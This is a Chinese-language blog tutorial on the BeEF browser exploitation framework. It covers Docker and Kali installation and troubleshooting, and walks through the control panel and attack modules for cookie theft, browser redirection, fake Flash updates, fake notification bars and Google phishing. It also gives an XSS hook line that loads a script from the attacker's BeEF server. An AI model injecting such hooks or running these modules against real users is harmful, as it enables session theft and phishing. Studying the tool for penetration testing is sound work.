BeEF 简单使用
工具介绍
BeEF(Browser Exploitation Framework)是一个专门设计用于利用浏览器漏洞的工具。它的主要目的是通过Web浏览器与目标系统建立连接,然后利用浏览器的安全漏洞进行攻击。"XSS"代表跨站脚本攻击,而BeEF则是在这方面发挥较大作用的工具之一。BeEF的功能包括:- 浏览器指纹识别: 可以识别目标系统上正在运行的浏览器类型和版本。
- 漏洞利用: 利用浏览器的安全漏洞,可能包括
XSS漏洞。 - 模块化架构: 允许用户自定义和添加模块,以执行各种攻击。
- 实时通信:
BeEF可以与浏览器建立实时通信,使攻击者能够与受害者进行交互。
工具安装
- 这里采用
Docker安装,可以参考历史文章:https://yongz.fun/posts/4236c78.html - 具体安装可以参考
DockerHub上的文章:https://hub.docker.com/r/beefproject/beef
Docker Build
- 下载
BeEF源码:
1 | git clone https://github.com/beefproject/beef |
BeEF默认情况下将其凭据设置为beef:beef,但不允许使用默认凭据进行身份验证。因此,如果在不更改凭据的情况下构建映像,将无法验证容器的BeEF实例。- 官方说的很清楚了
(淦,我排了半天错),修改config.yaml文件:
1 | credentials: |
- 构建镜像:
1 | docker build -t beef . |
- 到这一步,百分之八十应该是失败的或者构建时间非常漫长,因为对方使用的镜像源为官方源(http://deb.debian.org/debian):
1 | $ docker build -t beef . |
Docker Pull
- 有一点很奇怪,虽然
BeEF在HubDocker上有镜像,但并没讲怎么用,反而还需要去GitHub上下载源码安装。 - 所以这里我们来 pull 镜像研究研究,使用如下命令直接拉取并启动容器:
注:这里简化了一下,将其他端口去掉了,
3000端口为管理和钩子端口。
1 | docker run -p 3000:3000 --name beef beefproject/beef |
- 会产生一个报错信息:
1 | docker run -p 3000:3000 --name beef beefproject/beef |
- 经过简单的百度,可以这么解决:
1 | find / -name beef_key.pem |
- 这样即可找到对应的配置文件,修改
config.yaml文件即可:
1 | vim /var/lib/docker/overlay2/fbfd5e7288d241345a439185c91405ea2b02687c28ef259be175e89821e2911e/diff/beef/config.yaml |
- 后续再重启
Docker即可:
1 | docker start beef |
- 当然还有一个其他大佬做成的镜像,是可以直接使用的:
1 | docker run -p 3000:3000 --name beef janes/beef |
APT Install
- 如果是在
Kali Linux里面,安装会简单很多:
1 | apt install beef-xss |
- 使用如下命令启动:
1 | beef-xss |
工具使用
- 在启动
BeEF时,终端命令行中出现以下四个重要网址,功能介绍如下:- Web 界面管理控制台:
http://xxx.xxx.xxx.xxx:3000/ui/panel- 用于查看上钩的鱼儿以及对不同的目标进行管理操作
- 钩子链接:
http://xxx.xxx.xxx.xxx:3000/hook.js- 只要有人运行该文件,就会在管理控制台上线(上钩)。
- 测试网址:
http://xxx.xxx.xxx.xxx:3000/demos/basic.html:演示使用范例http://xxx.xxx.xxx.xxx:3000/demos/butcher/index.html:带有钩子的页面
- Web 界面管理控制台:
- 访问
demos/butcher/index.html页面,测试能否上钩:

- 页面模块说明如下:
Online Browsers:在线浏览器,工具定时发送链接请求,链接成功就会显示在这里。Offline Browsers:离线浏览器Getting Started:入门指南,官方的一些文档Logs:日志,记录工具做过哪些操作Zombies:僵尸,记录可以利用的目标站点Current Browser:上线的浏览器,只有在目标在线的时候才会显示出来。Details:细节,展示目标的IP、版本等信息Logs:日志、记录目标浏览器做过哪些操作Command:指令,工具的核心,不同的指令对应不同的操作Module Tree:模块树,可以使用的模块功能Mpdule Result History:模块使用记录
Proxy:代理设置。XssRays:检查页面的链接、表单和 URI 路径(浏览器挂钩的位置)是否容易受到 XSS 攻击。Network:查看对方路由跳转。
常用模块介绍
注:执行操作时,心跳检测一般会停止。
- 在
Command窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:- 绿色模块:模块可用,并且执行结果对用户不可见;
- 橙色模块:模块可用,但结果可能对用户可见;
- 灰色模块:模块不一定可用,没测试过;
- 红色模块:模块不可用。
Module Tree常用分类:Browser:浏览器Get Cookie:获取Cookie信息Unhook:脱离控制,脱钩Create Alert Dialog:创建报警对话框Create Prompt Dialog:创建提示对话框Detect Popup Blocker:检测弹出窗口阻止程序Redirect Browser:浏览器重定向
Social Engineering:社会工程Fake Flash Update:虚假 Flash 更新Fake Notification Bar:虚假通知栏Google Phishing:Google网络钓鱼Pretty Theft:漂亮的盗窃
- 先定义一个插入语句:
1 | <script src="http://xxx.xxx.xxx.xxx:3000/hook.js"></script> |
Browser
Get Cookie
- 获取对方浏览器
Cookie信息:

Unhook
- 取消
BeEF连接:

- 可以看到对方存活判断报文已停止,主机处以离线状态:

Create Alert Dialog
- 创建报警对话框:

- 查看现象:

Create Prompt Dialog
- 创建提示对话框:

- 查看现象:


Detect Popup Blocker
- 检测弹出窗口阻止程序:

Redirect Browser
- 浏览器重定向:

Social Engineering
Fake Flash Update
- 虚假
Flash更新,更像是强制弹窗:

- 查看现象:

Fake Notification Bar
- 虚假通知栏:

- 查看现象:

Google Phishing
Google网络钓鱼:

- 查看现象:

Pretty Theft
- 漂亮的盗窃:

- 查看现象:

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!










